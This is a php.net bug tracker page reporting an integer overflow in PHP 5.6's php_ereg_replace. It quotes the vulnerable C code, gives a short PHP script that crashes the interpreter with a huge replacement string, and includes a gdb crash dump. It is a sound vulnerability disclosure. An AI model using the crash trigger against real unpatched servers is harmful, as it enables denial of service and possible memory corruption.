|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-10-11 21:18 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2016-10-11 21:18 UTC] stas@php.net
[2016-10-11 23:45 UTC] stas@php.net
[2016-10-11 23:45 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-10-12 23:35 UTC] ab@php.net
[2016-10-14 02:23 UTC] ab@php.net
[2016-10-17 10:07 UTC] bwoebi@php.net
[2017-02-13 01:08 UTC] stas@php.net
-Type: Security
+Type: Bug
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Mon Oct 27 14:00:01 2025 UTC |
Description: ------------ In function php_ereg_replace: PHP_EREG_API char *php_ereg_replace(const char *pattern, const char *replace, const char *string, int icase, int extended TSRMLS_DC) { regex_t re; regmatch_t *subs; char *buf, /* buf is where we build the replaced string */ *nbuf, /* nbuf is used when we grow the buffer */ *walkbuf; /* used to walk buf when replacing backrefs */ const char *walk; /* used to walk replacement string for backrefs */ int buf_len; int pos, tmp, string_len, new_l; int err, copts = 0; ... ... /* start with a buffer that is twice the size of the stringo we're doing replacements in */ buf_len = 2 * string_len + 1; buf = safe_emalloc(buf_len, sizeof(char), 0); // (1) alloc memory ... ... if (new_l + 1 > buf_len) { // (2) FAIL check if new_l = 0x7fffffff due to integer overflow buf_len = 1 + buf_len + 2 * new_l; nbuf = emalloc(buf_len); // (3) this line is never reached if new_l = 0x7fffffff strncpy(nbuf, buf, buf_len - 1); nbuf[buf_len - 1] = '\0'; efree(buf); buf = nbuf; } tmp = strlen(buf); /* copy the part of the string before the match */ strncat(buf, &string[pos], subs[0].rm_so); /* copy replacement and backrefs */ walkbuf = &buf[tmp + subs[0].rm_so]; walk = replace; while (*walk) { if ('\\' == *walk && isdigit((unsigned char)walk[1]) && (unsigned char)walk[1] - '0' <= (int)re.re_nsub) { if (subs[walk[1] - '0'].rm_so > -1 && subs[walk[1] - '0'].rm_eo > -1 /* this next case shouldn't happen. it does. */ && subs[walk[1] - '0'].rm_so <= subs[walk[1] - '0'].rm_eo) { tmp = subs[walk[1] - '0'].rm_eo - subs[walk[1] - '0'].rm_so; memcpy (walkbuf, &string[pos + subs[walk[1] - '0'].rm_so], tmp); walkbuf += tmp; } walk += 2; } else { *walkbuf++ = *walk++; // (4) heap overflow here } } ... ... } If variable new_l = 0x7fffffff, the check "if (new_l + 1 > buf_len)" will fail because of integer overflow and realloc new memory for output buffer is never operated. This will cause heap overflow when PHP try to copy replacement string later. Test script: --------------- <?php ini_set('memory_limit', -1); $str = 'b'.str_repeat('a', 30); $str1 = str_repeat('C', 0x80000000 - 1); $str2 = ereg_replace("b", $str1, $str); ?> Expected result: ---------------- No crash. Actual result: -------------- gdb-peda$ r ../test/test_replace.php Starting program: /home/user/Desktop/php-5.6.26/sapi/cli/php ../test/test_replace.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7ffff7fe2000 RBX: 0xac5cf0 (<execute_ex>: push rbp) RCX: 0x7ffeecbc2ec1 ('C' <repeats 200 times>...) RDX: 0x43 ('C') RSI: 0x7ffff7fbe138 ("b", 'a' <repeats 30 times>) RDI: 0x7ffff7fbe1b0 ('C' <repeats 200 times>...) RBP: 0x7fffffffa6a0 --> 0x7fffffffa750 --> 0x7fffffffa780 --> 0x7fffffffa7f0 --> 0x7fffffffa830 --> 0x7fffffffa860 (--> ...) RSP: 0x7fffffffa5f0 --> 0x1 RIP: 0x4957ce (<php_ereg_replace+1600>: mov BYTE PTR [rax],dl) R8 : 0x0 R9 : 0x7ffff7fbe1b0 ('C' <repeats 200 times>...) R10: 0x5e3 R11: 0x7ffff3dd36b0 (<__strncat_sse2_unaligned>: mov r9,rdi) R12: 0x441d00 (<_start>: xor ebp,ebp) R13: 0x7fffffffe1b0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4957c3 <php_ereg_replace+1589>: lea rcx,[rdx+0x1] 0x4957c7 <php_ereg_replace+1593>: mov QWORD PTR [rbp-0x58],rcx 0x4957cb <php_ereg_replace+1597>: movzx edx,BYTE PTR [rdx] => 0x4957ce <php_ereg_replace+1600>: mov BYTE PTR [rax],dl 0x4957d0 <php_ereg_replace+1602>: mov rax,QWORD PTR [rbp-0x58] 0x4957d4 <php_ereg_replace+1606>: movzx eax,BYTE PTR [rax] 0x4957d7 <php_ereg_replace+1609>: test al,al 0x4957d9 <php_ereg_replace+1611>: jne 0x4955fa <php_ereg_replace+1132> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffa5f0 --> 0x1 0008| 0x7fffffffa5f8 --> 0x7ffff7fbe138 ("b", 'a' <repeats 30 times>) 0016| 0x7fffffffa600 --> 0x7ffeecb9f070 ('C' <repeats 200 times>...) 0024| 0x7fffffffa608 --> 0x7ffff7fbf3a8 ('C' <repeats 200 times>...) 0032| 0x7fffffffa610 --> 0x348 0040| 0x7fffffffa618 --> 0x3ff7fbe158 0048| 0x7fffffffa620 --> 0x7fffffff00000000 0056| 0x7fffffffa628 --> 0x100000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004957ce in php_ereg_replace ( pattern=0x7ffff7fbf3a8 'C' <repeats 200 times>..., replace=0x7ffeecb9f070 'C' <repeats 200 times>..., string=0x7ffff7fbe138 "b", 'a' <repeats 30 times>, icase=0x0, extended=0x1) at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:501 501 *walkbuf++ = *walk++; gdb-peda$ p buf $1 = 0x7ffff7fbe1b0 'C' <repeats 200 times>... gdb-peda$ p walkbuf $2 = 0x7ffff7fe2001 <error: Cannot access memory at address 0x7ffff7fe2001> gdb-peda$ p walkbuf - buf $3 = 0x23e51 gdb-peda$ bt #0 0x00000000004957ce in php_ereg_replace ( pattern=0x7ffff7fbf3a8 'C' <repeats 200 times>..., replace=0x7ffeecb9f070 'C' <repeats 200 times>..., string=0x7ffff7fbe138 "b", 'a' <repeats 30 times>, icase=0x0, extended=0x1) at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:501 #1 0x0000000000495fa9 in php_do_ereg_replace (ht=0x3, return_value=0x7ffff7fbc478, return_value_ptr=0x7ffff7f85208, this_ptr=0x0, return_value_used=0x1, icase=0x0) at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:597 #2 0x00000000004961fe in zif_ereg_replace (ht=0x3, return_value=0x7ffff7fbc478, return_value_ptr=0x7ffff7f85208, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:615 #3 0x0000000000ac66e8 in zend_do_fcall_common_helper_SPEC ( execute_data=0x7ffff7f85300) at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:558 #4 0x0000000000acc213 in ZEND_DO_FCALL_SPEC_CONST_HANDLER ( execute_data=0x7ffff7f85300) at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:2602 #5 0x0000000000ac5d50 in execute_ex (execute_data=0x7ffff7f85300) at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:363 #6 0x0000000000ac5dd7 in zend_execute (op_array=0x7ffff7fbd430) at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:388 #7 0x0000000000a7e415 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.6.26/Zend/zend.c:1341 #8 0x00000000009df6d4 in php_execute_script (primary_file=0x7fffffffcd80) at /home/user/Desktop/php-5.6.26/main/main.c:2613 #9 0x0000000000b3b4d3 in do_cli (argc=0x2, argv=0x1434560) at /home/user/Desktop/php-5.6.26/sapi/cli/php_cli.c:994 #10 0x0000000000b3c836 in main (argc=0x2, argv=0x1434560) at /home/user/Desktop/php-5.6.26/sapi/cli/php_cli.c:1378 #11 0x00007ffff3d4b830 in __libc_start_main (main=0xb3c019 <main>, argc=0x2, argv=0x7fffffffe1b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe1a8) at ../csu/libc-start.c:291 #12 0x0000000000441d29 in _start ()